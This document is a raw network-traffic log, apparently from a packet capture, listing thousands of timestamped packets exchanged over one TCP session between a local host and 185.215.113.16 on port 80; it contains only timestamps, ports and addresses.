Oct 21, 2024 10:46:23.628499031 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628509045 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628520012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628526926 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628530979 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628541946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628541946 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628551960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628566980 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628588915 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628665924 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628676891 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628686905 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628696918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628705978 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628716946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628721952 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628730059 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628741026 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628748894 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628751993 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628762960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628765106 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628773928 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628782034 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628793001 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628803015 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628806114 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628823996 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628827095 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628838062 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628848076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628859997 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628861904 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628870964 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628884077 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628885031 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628895044 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628906965 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628911972 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628918886 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628928900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628930092 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628940105 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628950119 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628963947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628968000 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.628983021 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.628992081 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629000902 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629009962 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629024029 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629033089 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629044056 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629053116 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629055023 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629062891 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629066944 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629080057 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629090071 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629091024 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629101992 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629112959 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629116058 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629125118 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629138947 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629146099 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629163027 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629163980 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629175901 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629187107 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629199028 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629200935 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629218102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629226923 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629226923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629239082 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629250050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629261971 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629264116 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629273891 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629286051 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629286051 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629296064 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629303932 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629323006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629323959 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629343033 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629362106 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629364967 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629371881 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629384041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629394054 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629394054 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629407883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629419088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629419088 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629431009 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629441977 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629456043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629463911 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629475117 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629487991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629499912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629512072 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629512072 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629523039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629533052 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629537106 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629543066 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629554987 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629556894 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629568100 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629575014 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629587889 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629601002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629611015 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629616976 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629621983 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629626036 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629632950 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629642963 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629652977 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629654884 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629662991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629674911 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629677057 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629688025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629698992 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629703999 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629710913 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629718065 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629728079 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629746914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629755974 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629756927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629769087 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629787922 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629793882 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629798889 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629811049 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629812956 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629822016 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629832983 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629842043 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629842997 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629857063 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629863024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629874945 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629879951 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629885912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629895926 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629909039 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629916906 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629929066 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629937887 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629937887 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629950047 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629961014 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629968882 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629971027 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629985094 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.629992962 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.629997015 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630007982 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630016088 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630018950 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630031109 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630039930 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630040884 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630053043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630068064 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630072117 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630076885 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630089998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630101919 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630110025 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630112886 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630125046 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630134106 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630136013 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630147934 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630158901 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630165100 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630171061 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630177021 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630181074 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630192041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630203962 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630214930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630219936 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630232096 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630243063 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630253077 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630254030 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630271912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630283117 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630290985 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630294085 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630306005 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630316973 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630319118 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630327940 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630340099 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630342960 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630351067 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630361080 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630367041 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630373955 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630384922 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630392075 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630395889 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630407095 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630413055 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630422115 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630438089 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630440950 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630454063 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630460024 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630465031 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630476952 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630487919 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630491972 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630498886 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630510092 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630516052 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630521059 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630537987 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630542040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630551100 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630554914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630565882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630577087 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630587101 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630594015 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630598068 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630609035 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630614042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630619049 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630626917 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630630016 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630641937 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630651951 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630655050 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630661964 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630662918 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630673885 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630686998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630692959 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630714893 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630724907 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630742073 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630753040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630763054 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630764008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630775928 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630786896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630795002 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630799055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630810022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630816936 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630820990 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630831957 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630831957 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630845070 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630853891 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630865097 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630882978 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630886078 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630893946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630903959 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630913973 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630916119 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630924940 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630939960 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630942106 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630954027 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630964994 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630964994 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630978107 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630986929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.630990028 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.630997896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631007910 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631007910 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631019115 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631030083 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631033897 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631041050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631052017 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631053925 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631063938 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631074905 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631083012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631093025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631103992 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631105900 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631114960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631127119 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631130934 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631138086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631148100 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631150961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631161928 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631182909 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631186962 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631197929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631207943 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631210089 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631217957 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631230116 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631232977 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631241083 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631253004 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631258011 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631263018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631273031 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631290913 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631290913 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631303072 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631311893 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631314039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631325006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631326914 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631335974 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631346941 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631354094 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631360054 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631371021 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631376028 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.631388903 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631400108 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.631402016 CEST	49745	80	192.168.2.4	185.215.113.16
